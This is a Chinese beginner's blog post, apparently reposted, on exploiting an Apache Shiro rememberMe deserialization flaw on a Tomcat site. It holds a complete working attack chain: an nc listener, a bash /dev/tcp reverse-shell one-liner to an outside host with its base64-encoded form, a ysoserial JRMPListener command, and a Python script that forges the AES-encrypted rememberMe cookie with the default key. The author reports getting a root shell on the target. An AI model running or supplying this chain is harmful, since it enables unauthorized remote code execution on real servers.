shiro漏洞利用_入門


拿到站點后發現是tomcat的,找了一圈找不到點進去,給學長看了一下,似乎是有個shiro可以利用

於是乎就去臨時學習了一下

參考bypass的博客:https://www.cnblogs.com/xiaozi/p/13239046.html

1、java -jar .\shiro_tool.jar url

檢測結果

 2、服務器監聽一個端口50058,這個是拿來反彈shell的

nc -lvnp 50058

反彈shell 命令:bash -i >& /dev/tcp/39.99.xx.xx/50058 0>&1
利用網站http://www.jackson-t.ca/runtime-exec-payloads.html對命令進行編碼:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS45OS4xOTIuMjAvNTAwNT這是馬賽克==}|{base64,-d}|{bash,-i}

3、使用這個大佬的工具:https://github.com/insightglacier/Shiro_exploit

在服務器上新建一個ssh會話,執行java -cp ysoserial.jar ysoserial.exploit.JRMPListener 50057 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS45OS4xOTIuMjAvNTAwNT這是馬賽克==}|{base64,-d}|{bash,-i}'

這個端口50057是用來監聽並反彈shell的,反彈到剛剛的50058端口上

 

 

 

4、准備一個shiro.py,代碼如下。用來構造數據包

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #找到的key
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
    print("rememberMe={0}".format(payload.decode()))

執行python shiro.py 39.99.xx.xx:50057

這里選擇的端口是執行jar文件監聽的端口,而不是用nc監聽的那個

生成數據包

 

 用bp在網站登陸頁面抓個包,在cookie中添加構造的參數,發送。可以看到響應包中有一個deleteme

 

 這時候在50057可以看到東西,

 

 同時在50058可以看到shell回來了(可能有點延遲。建議等一會)

 

 直接就是root權限

 

 

 



 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM